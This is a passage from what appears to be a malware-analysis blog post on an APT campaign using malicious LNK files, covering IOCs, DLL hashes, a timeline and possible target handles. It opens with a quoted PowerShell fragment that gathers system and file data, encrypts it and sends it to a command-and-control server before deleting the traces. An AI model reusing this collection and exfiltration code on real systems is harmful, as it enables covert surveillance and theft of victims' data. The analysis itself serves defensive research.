$w+="ipconfig /all:`r`n"+(ipconfig /all)+"`r`n";
$w+="netstat -a:`r`n"+(netstat -a)+"`r`n";
$w+="arp -a:`r`n"+(arp -a)+"`r`n";
$w+="desktop files:`r`n"+(ls -r $home\desktop)+"`r`n";$w+="tmp files:`r`n"+(ls $env:tmp\..\)+"`r`n";$w+="pw cmd:`r`n"+(get-wmiobject win32_process -f "name='powershell.exe'" | % {$_.commandline+"`r`n"});
$w+="programfiles:`r`n"+(ls $env:programfiles)+"`r`n";
$w+="programfiles x86:`r`n"+(ls ${env:programfiles(x86)})+"`r`n";
$w+=(Get-Date -f yyyyMMddhhmmss)+"`r`n";
$w | out-file "$env:tmp\start.log" -Encoding UTF8;
$3=-join([char[]](48..57+65..90+97..122) | get-random -c 16);
$7=new-object security.cryptography.rsacryptoserviceprovider(2048);
$7.fromxmlstring("4RKDLymbgSDghM7HHxZprfPfWcoBQDCL156NPOAsDRiLZ57zj8kcqjq/zgGFAuyhmfmaFBCRz75NIN33Ze105pNzOZXAO975/IpS4xNimVA7vmeEEAF7JQ+W3JMNnzXM5Tx1aMyiaSVY3k+07H45hPEiAJx07f/f94EDwTBNkhL3RN1B30+B75d/6sjn+T4u3bkZEx88LLwRQEQf/wO3Ey0OaH1i04prS6HC6R63XRPNCBYWUzDcTFYLidwqNBfBzwMRsPIoLdmav4BOdVNIubPhCINzT6FcaFyYB9kHsDXEM8o+Tou9eNhIBE1koJ9qjhGBFi+s20Sj3qE4mv8kpw== AQAB ");
$7.encrypt([text.encoding]::utf8.getbytes("$3"),$False) > "$env:tmp\id";
iex ("& '$env:AppData\WinRAR\Rar.exe' a -ep1 -y '$env:tmp\id.rar' '$env:tmp\id'")|out-null;
while(!(ts3 (gi "$env:tmp\id.rar") $s 'id')){sleep -s 180}x56 $3 "$env:tmp\start.rar" "$env:tmp\start.log";
ts3 (gi "$env:tmp\start.rar") $s 'start';
del -fo "$env:tmp\id","$env:tmp\id.rar","$env:tmp\start.rar","$env:tmp\start.log";
sr2 $3 $s
The PowerShell scripts do vary between the samples, but maintain the same key features. Some have blocks of Base64 to obfuscate the calling of the DLL, while others have this code in the clear. Additionally, the PowerShell script passed as a parameter with the DLL does vary slightly.
But at a very high level, the PowerShell extracts out more data from the LNK file, expands that data into a temporary location, loads a malicious dll (with a further PowerShell script as a parameter), obtain user information and data, and encrypts it before sending it back to a C2 server. The 360 TIC report examines this code in depth.
To me, however, what stood out was a string which I have redacted2 appended to the collected data, which could refer to a username or social media handle to identify the origin of returned data.
Looking at the other LNK samples more of these handle-type names were identified. Of these I was able to identify a social media account for at least two of these type of strings in the samples:
Summary of all the key IOCs from the PowerShell identifies possible handles and C2 infrastructure:
Hey Taxi!! Cab!!
The PowerShell further extracted a CAB file that contained further files: PDFs, DOCXs, DOCs, and JPEGs along with a DLL with a non-standard extension (e.g. .g
), and a legitimate copy of rar.exe
. The dropped files (sans the .dll, see below) are:
At this stage, I haven’t done any analysis on these 20 files, except basic metadata checks. Of possible interest is the file 陈婧+13957937111+简历.doc
has the email address [email protected]
embedded as a hyperlink.
DLLs
The five DLLs have similar characteristics. All are masquerading as a NVIDIA dll file with similar matadata as below:
A check of relevant hashes indicates three samples are the same, and the other two are different; however, have a recorded compilation time within 12 seconds of each other.
The files lyNMk.v
, hxCEm.G
and beoql.g
with SHA256 f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa were recorded on Virus Total (35/67) with a first submission date of 2018-04-26 10:14:33 and had the recorded alternative names as nvapisetlib
,
96d9fd90e180aaf435c21334858654f6.vir
(Norton AV) and beoql.g
. The other two files were not recorded by that hash on Virus Total.
A rough timeline (if all the dates and times are believed):
- 2018-02-07: Compilation Date of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa
- 2018-04-26: First Submission to VT of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa
- 2018-05-31: Compilation Date of DLL samples 92ad7532f7b6cb5b6812da586ae9c2c6ddf65de38aebf4067853968be20e72a2 and a76cb406145b1e094a8ec46ae0cf959495bfa4aa19ccf6b48353cc459c00005b
- 2018-07-12: 360 TIC report
- 2018-10-28: Last Submission of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa to VT
- 2019-10-29: Submission to Hybrid-Analysis of five LNK samples
- 2019-10-29: Submission to Virus Total of only one LNK sample: 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d
The APT Link to the LNKs
Googling key elements of the above malware samples, led me to the abovementioned report by 360 TIC who detailed the exact campaign for only one of the files (ostensibly sample SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af). Their report is extensive, and looks at the DLL dropped and its later actions and persistence.
However, it is clear the samples were part of a campaign, and two of the files I can very tentatively associate to an online account. One identified social media account has limited use, and is linked to other accounts associated with the Hong Kong democracy movement. The second account has not been active since 2012 but posted information relating to Chinese corruption and apparent unauthorised detentions by the Chinese state.
However, there needs to be further information before any conclusion can be made as to the purpose of these strings.
If my hypothesis is correct then each malware sample was customised to include the suffix of a known identifier for the target. This likely means that the attacker did not know much about the target (i.e. end infrastructure they would potentially compromise).
Intelligence Gaps
There are significant intelligence gaps that require either deeper analysis on the samples or further external information:
- Why were the samples uploaded now, and en-mass?
- Are the suspicious string suffixes related to targets? Or are they used as reference to accounts controlled by the attacker? Or unrelated at all.
- At least one sample is likely dated from the original 360 TIC report meaning that it was around mid-2018. What is the relationship of this sample to the others?
Conclusion
There is a bunch of further analysis to be done: including on the DLLs and the other extracted files from the malicious CAB files. This post is initially seeking to put the files out there, and share the comparisons between them.
I’ll reiterate at this time that the ‘attribution’ to the Sapphire Mushroom group is not mine, and solely based on previous reporting and the high likelihood these samples are from the same campaign.
If you have more information, questions, or analysis feel free to hit me up on Twitter or via email at [email protected]. Thanks for reading!